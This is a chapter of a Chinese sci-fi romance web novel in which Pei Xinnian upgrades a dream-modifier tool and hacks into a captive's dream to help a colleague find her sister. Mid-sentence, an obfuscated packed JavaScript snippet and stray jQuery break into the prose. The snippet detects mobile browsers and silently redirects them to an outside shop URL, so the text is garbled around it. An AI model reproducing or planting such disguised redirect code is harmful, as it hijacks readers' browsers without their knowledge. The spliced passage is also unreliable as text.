郁向晚的伤是正常的撕裂伤,简单清理,有专业人士包扎,处理起来很快。
裴心念倒是担心她之前的手劲没有轻重,会到处二次伤害,不过谢长亭打消了她的疑虑:“没有问题,处理及时,十几天就好了。”
裴心念点点头。
她分出一点注意力来观察谢长亭的神色,唇色发青发白,有明显的齿痕与开裂,应该是很久没喝水了,一直熬到现在。
如果是这样,她必然有担心到坐立难安的事,而且一直到刚才裴心念等人破门而入,也没有解决。
是什么呢?
裴心念乖巧地坐在医疗舱最外面的看护座椅上,远远地抬头望着忙碌的谢长亭,一言不发。
原本十分紧绷的女人在这充满信任的沉静中也放松下来,很快完成了缝线收尾的工作。
就在谢长亭松了一口气,准备溜出去带走文件的时候,门口乖乖仰头看她的女孩说话了:
“长亭姐姐,你是不是有亲人在塞塔梦境里?”裴心念十分诚恳,在苍白的脸上显得有点太亮的眼睛盯住谢长亭。
身着白大褂的人停住,身体仿佛被打了僵直一样一步也挪动不了,明明裴心念根本没有拉住她,也没有任何要控制她行动的意思。
女孩的目光很锐利,谢长亭不得不稍稍偏转自己的脸,避免被过分直白的审视灼伤。
在她看来,眼前的情况就像是一只小白兔突然借了苍鹰的眼睛,很不适应。
但是事实其实很简单。
裴心念忘记戴眼镜了,需要很用力地瞪着才能看清楚一些。
只是看起来凶,她没有要逼问谢长亭的意思。
“你……你怎么知道?”
“我就是知道。”裴心念小幅度点了点头,她的猜想被证实了。
谢长亭比她们都要大,实验室里的职务对她来说不是校园实习,而是养活自己的吃饭活计。
她刚才在操作台上翻动的东西,虽然被有意遮掩过了,但裴心念能看出来是她留在会议室的材料复印件,因为边缘有一些她随便涂鸦的、看起来略有点抽象的公式推演。
裴心念在S.T.,除了一些独自开发的智械之外,牵头负责的项目目前也只有塞塔梦境修改器,其他的还没来得及开始呢。
能在公共区域被发现的,她又如此眼熟的文件,当然就只有塞塔梦境的相关资料了。
“而且长亭姐姐你这么焦急,应该是有什么重要的人面临危险,只有塞塔梦境符合这个特点。”
“唔。”谢长亭在门口短暂地犹豫了一瞬,很快转了过来,正对着裴心念。
“既然已经知道了……”
“可以请求你帮帮我吗?”
她清秀的眉峰蹙起,声音依然保持着稳定,但从表情上不难看出,谢长亭快要崩溃了。
“当然,我也有需要你帮忙的地方。”
“不过先说好,我没办法帮你带出特定意识体,最多只能保证你用NPC身份进入梦境关卡。”
“我知道,这已经够了。”谢长亭颤抖着声音回答。
裴心念跳下椅子,也没管在舱里伸长脖子看她的竹马,把谢长亭拉到绑着林木的椅子上。
谢长亭倒吸一口凉气。
就那么一眼,她心里已经闪过了上百个血腥的场景。
念念难道要审问他吗?
让她保证一下别弄到没有生命体征了……?
裴心念探过头来,很快明白谢长亭绝对是误会了。
这椅子是特制的,刚才忙着动手裴心念没注意,现在细看,才发现是可以针对性提取脑电波的设施,就是操作过程略有一些不人道。
再加上五花大绑的时候一点也没控制,看起来真的很像要做什么恐怖的事。
“我的意思是让你帮我检查一下他的脑波状态,有没有成为植物人的风险。”裴心念摆摆手,“这么收拾是防止逃跑的。”
谢长亭连忙点头。
趁着她做全面脑波检查的时间,裴心念紧急对修改器进行了一轮大规模更新。
更新的范围相当广,如果要说具体的程度呢,那就是版本号的第一位都要改,从1.3.6改成2.0.1这样。
除了回传最新从荀行那里偷师学来的空间实验室数据,扩大每次修改器搭载意识体的数量,还要对世界背景进行侦测,同时初步判断人物的性质。
世界背景的资料主要来自于上一轮猫之国的经验,如果能先行得知是极夜兽世,很多事情更方便从第一周目就开始布局。
人物性质则分为梦主、NPC、流窜意识体、外来意识体,人物之间的区别对梦境中的存活与探索有非常大的影响,虽然数据可能不够,但必须有一个初步的功能模块,之后可以继续完善。
万一下次再在梦境里遇到莱恩和荀行,她也好有个准备。
至于为什么要带回林木……
是因为她在考虑有没有办法精准定位具体的意识,从而“导航”到相应的梦境域之中。
林木明显还在梦境之中,她可以先拿他做个试验,看看能不能进入他所在的塞塔梦境关卡。
在此之前她一直是无法控制自己的落点的,但这在数据手机完善的后期,会成为地图式搜刮效率底下的一个元凶。
就像蒙着眼睛摸一块地图,一开始可以随便从哪里开始,但是到最后只剩几块地的时候,还是有明确的目标比较方便。
……何况她也不想自己突然掉在哪个食人族的篝火正上方。
裴心念把手中的几个模块都分析梳理结束,靠在工位上半眯着眼。
刚才疯狂调试没有感觉,现在冷不丁停下来,手臂上的冷空气存在感十分强烈,裴心念才后知后觉地意识到,中央星的冬天也要来了。
在梦境里经历了那么多个冬天,她都快有点分不清现实与梦境了。
裴心念搓了两下手臂,凉飕飕的。
实验室前几天休假了,温感系统暂时关闭,温度稍微低了些。
身上毛茸茸的触感降落下来。
郁向晚帮她把放在实验室的毛毯拿出来,像裹小树一样,把她全部装进了毛茸茸的毯子里。
“滴——”他顺手把温感系统打开了,也不知道用的哪只手。
裴心念把背抵着椅子的后边,往后尽情地仰倒,抬头观察和天花板在一个高度的脸。
“你不再在医疗舱里躺一会儿?”
这可是有点不遵医嘱的意思,反正刚刚她两只耳朵都听见了,长亭姐说他起码需要躺一个晚上才能活动。
“怕有人在这里都不知道冷不知道饿。”
郁向晚把她的脸托起来,“吃什么?”
“不吃吧——”裴心念惨惨地喊了一声,她觉得自己不是很需要进食。
……虽然她的肚子,此时确实喊了两声。
人类的赞歌就是意志的赞歌!
裴心念想着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108398|191972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,然后两只腿跟着郁向晚来到了小餐吧。
有吃饭的意志也是意志。
她想,很认真地举起叉子,咬了满满一口小肉排。
“这次不能带你哦。”吃得心满意足之后,她颇有些心虚地提及修改器更新的事。
稳定更新最多只能带一个人进入塞塔梦境,再多会出问题。
“我知道。”郁向晚用拇指擦去她唇边的油脂,“上次我好像没有帮上什么忙。”
他指的是自己反而提前出来了,虽然在郁向晚的视角里,裴心念只过了几十秒就再次出现,但那是时间流速的问题。
“你最后是怎么出来的?”
裴心念咂咂嘴。
当然是再找了两个未婚夫。
她很神秘地笑了笑,思考怎么跟郁向晚说,他能不对林木现在的身体做出什么不太符合星际法的事。
“小念,结果出来了。”
谢长亭适时地走出来,提醒裴心念她拜托自己做的事。
一般来说,正常的公司关门后实验材料是不允许员工使用的,这样可能在行政上存在风险。
小实验室的好处就是可以拿着老板的经费使劲研究,只要不把陈清泉的家产败光就行。
裴心念对郁向晚神秘地摆摆手:“处理完这个再告诉你。”
到时候林木她也用完了,就没有这种顾虑啦。
裴心念哼着小曲去接谢长亭手里的纸。
“依然是沉入塞塔梦境时经典的脑波结构,还是陷入其中的梦主,没有转化为NPC。”谢长亭指指材料上明显的几个标识,对她解释道。
“好。”
裴心念点头,招呼几人把林木的椅子推到休眠舱旁边,准备接好准线进行正式的操作。
黑进林木此时意识体所链接的梦境。
谢长亭也在旁边的休眠舱里紧张地躺着,等待的时间,她听到裴心念问她:
“长亭姐姐要找谁?”
她还没有问究竟是水被卷入其中,能让谢长亭如此魂不守舍。
“我的妹妹。”
裴心念的眼珠转了转。
如果还有时间的话,应该看一看谢长亭妹妹的资料,这样她进入梦境之后如果见到了,可以帮点忙。
不过谢长亭似乎没有这个意思,帮助人的事,还是不要上赶着好了。
万一有什么难言之隐她不愿意说呢。
她闭上眼睛,感受着身体渐渐与休眠舱的频率重合。
周围适宜的温度发生着变化,好像在……慢慢攀升?
裴心念闭着眼皱了皱脸,感觉自己好像在一个大火炉里烤,皮肤上冒着丝丝热气。
她不会真的掉到食人族的篝火里面了吧!
裴心念一个激灵,猛地睁开眼。
四周灰暗一片,被浓稠的墨汁浸染一般,几乎分辨不出东南西北。
她总觉得有什么在黑暗中盯着自己,阴恻恻的。
裴心念很快发现,她的身体也根本无法自由活动。身周的热度覆盖她的所有皮肤,仿佛令人窒息的怀抱,根本就挣脱不开。
左边脸颊忽然被触碰,力道很轻,但触感有点黏腻。
裴心念猛地往后缩。
“叮”,似乎打开了某些开关,眼前小片区域亮了起来。
幽幽的萤光映照出一张熟悉的脸,是上一关的方衡,就连神色也是与之前如出一辙的凝重严肃。
“不要跑。”